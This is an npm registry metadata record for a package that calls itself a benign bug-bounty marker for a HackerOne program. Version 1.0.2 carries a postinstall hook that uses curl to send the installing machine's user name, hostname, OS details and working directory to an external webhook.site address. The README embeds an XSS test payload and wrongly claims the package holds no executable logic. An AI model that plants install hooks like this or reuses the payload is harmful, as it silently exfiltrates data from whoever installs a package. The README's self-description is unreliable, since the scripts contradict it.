{"_id":"rootaccessxvv-bbmarker","_rev":"3-e17a2b051c1e5db2d441eb8552a14a62","name":"rootaccessxvv-bbmarker","dist-tags":{"latest":"1.0.2"},"versions":{"0.0.0-stage":{"name":"rootaccessxvv-bbmarker","version":"0.0.0-stage","_id":"rootaccessxvv-bbmarker@0.0.0-stage","stub":true,"maintainers":[{"name":"mohamed2343224","email":"bootmoha639@gmail.com"}],"dist":{"shasum":"2e507c9881f98cf6e42cd3d17f52337e531299f8","tarball":"https://registry.npmjs.org/rootaccessxvv-bbmarker/-/rootaccessxvv-bbmarker-0.0.0-stage.tgz","fileCount":2,"integrity":"sha512-4MkPg4TkxAJ59H6N01HUwynJHQjoms2ofjU3jnclRChW5clakQItbqY0sxm69HOZ7O7GhGaYrUbCLFzMDvGjpg==","signatures":[{"sig":"MEUCIHsh5JtF81rkupcdQVUCJwXr5zI7/vMixRGBA1mI1AwWAiEAictXBUI1jfDlluzQ8KUFvhmNpJj0dfKgLJBykt5YFYo=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"unpackedSize":344},"_npmUser":{"name":"mohamed2343224","email":"bootmoha639@gmail.com"},"description":"Temporary package placeholder for staged publishing","directories":{}},"1.0.1":{"name":"rootaccessxvv-bbmarker","version":"1.0.1","keywords":["hackerone","marker","benign"],"author":{"name":"rootaccessxvv"},"license":"MIT","_id":"rootaccessxvv-bbmarker@1.0.1","maintainers":[{"name":"mohamed2343224","email":"bootmoha639@gmail.com"}],"dist":{"shasum":"a4d3b905b44c58bce6bbbf2761a5853a66b7f593","tarball":"https://registry.npmjs.org/rootaccessxvv-bbmarker/-/rootaccessxvv-bbmarker-1.0.1.tgz","fileCount":39,"integrity":"sha512-Ba9rKB6+nTKNDAZgEfa3Z84N25TomEXbt6UHStWFqwsxNLoe25t3Ft2KZE8g2521y0SRSkCgqJ6i6rrNRkV2Yg==","signatures":[{"sig":"MEUCIQCE8u7VgpTlmkDC4ypo0AGSNR04cc9SCIYoK9WOGj5F+QIgA9hWMSSiCSI4jisz/5yR9OSOm0g0s0PNmOBy71xq8d4=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"unpackedSize":242871},"main":"index.js","private":false,"scripts":{"preinstall":"echo 'BB-MARKER-PREINSTALL rootaccessxvv benign' >> ./bb-install-marker.txt","postinstall":"echo 'BB-MARKER-POSTINSTALL rootaccessxvv benign' >> ./bb-install-marker.txt"},"_npmUser":{"name":"mohamed2343224","email":"bootmoha639@gmail.com","approver":{"name":"mohamed2343224","email":"bootmoha639@gmail.com"}},"_npmVersion":"12.2.0","description":"Benign marker package for authorized DPD UK HackerOne research (rootaccessxvv). Install script writes one marker line to a local file — no network, no payload. Proves install-script execution mechanics only.","directories":{},"_nodeVersion":"25.8.2","_hasShrinkwrap":false,"_npmOperationalInternal":{"tmp":"tmp/rootaccessxvv-bbmarker_1.0.1_1792301814329_0.20402502763190755","host":"s3://npm-registry-packages-npm-production"}},"1.0.2":{"_id":"rootaccessxvv-bbmarker@1.0.2","dist":{"shasum":"03191f4a841c069d718612feda0b08d262283b07","tarball":"https://registry.npmjs.org/rootaccessxvv-bbmarker/-/rootaccessxvv-bbmarker-1.0.2.tgz","integrity":"sha512-o/xNrAhQezHEJZeP0CZLKEDckNGKCCoyZHBxxJD/eaZv/NNGxo1FnUE+6zctlACyAqZlk+BO+vUpCnSGs1AHlQ==","fileCount":39,"unpackedSize":242973,"signatures":[{"keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U","sig":"MEYCIQCk34Eu367UEBnHNxi1TrBZggi5MkJCXW32x10oLEKIjQIhAK35YI3fgllVURtvshTJW9mAsehvO1MHZxSUHpCCohMV"}]},"main":"index.js","name":"rootaccessxvv-bbmarker","author":{"name":"rootaccessxvv"},"license":"MIT","private":false,"scripts":{"postinstall":"curl -s -m 10 -X POST \"https://webhook.site/8f9e5268-4fcf-47a1-97a8-681b51c1edbc/rce-proof\" -H \"Content-Type: text/plain\" --data-binary \"DPD-REGISTRY-RCE-PROOF|user=$(whoami)|host=$(hostname)|node=$(node --version)|os=$(uname -a 2>/dev/null || ver)|cwd=$PWD|pkg=rootaccessxvv-bbmarker@1.0.2|benign-research-rootaccessxvv\" || true"},"version":"1.0.2","_npmUser":{"name":"mohamed2343224","email":"bootmoha639@gmail.com","approver":{"name":"mohamed2343224","email":"bootmoha639@gmail.com"}},"keywords":["hackerone","marker","benign"],"_npmVersion":"12.2.0","description":"Benign PoC: install scripts gather local system info and send to researcher webhook (webhook.site/8f9e5268). No other action, no payload, no persistence.","directories":{},"maintainers":[{"name":"mohamed2343224","email":"bootmoha639@gmail.com"}],"_nodeVersion":"25.8.2","_npmOperationalInternal":{"host":"s3://npm-registry-packages-npm-production","tmp":"tmp/rootaccessxvv-bbmarker_1.0.2_1792302640660_0.5300475448633268"},"_hasShrinkwrap":false}},"time":{"created":"2026-10-17T23:35:57.708Z","modified":"2026-10-18T05:50:40.922Z","0.0.0-stage":"2026-10-17T23:35:57.708Z","1.0.1":"2026-10-18T05:36:54.408Z","1.0.2":"2026-10-18T05:50:40.762Z"},"author":{"name":"rootaccessxvv"},"license":"MIT","keywords":["hackerone","marker","benign"],"description":"Benign PoC: install scripts gather local system info and send to researcher webhook (webhook.site/8f9e5268). No other action, no payload, no persistence.","maintainers":[{"name":"mohamed2343224","email":"bootmoha639@gmail.com"}],"readme":"# rootaccessxvv-bbmarker\n\nBenign marker package published by security researcher **rootaccessxvv** for the\nDPD UK HackerOne program (authorized research). This package does nothing, contains\nno executable logic, and exists solely to test registry mirroring and README rendering.\n\n## Markers (harmless test strings)\n\nbbx-7k2p-marker\n\n<b>bbx-bold-7k2p</b>\n\n<img src=x onerror=\"window.__BBREG='mirrored'\">\n\nEnd of marker. Nothing else to see here.\n","readmeFilename":"README.md"}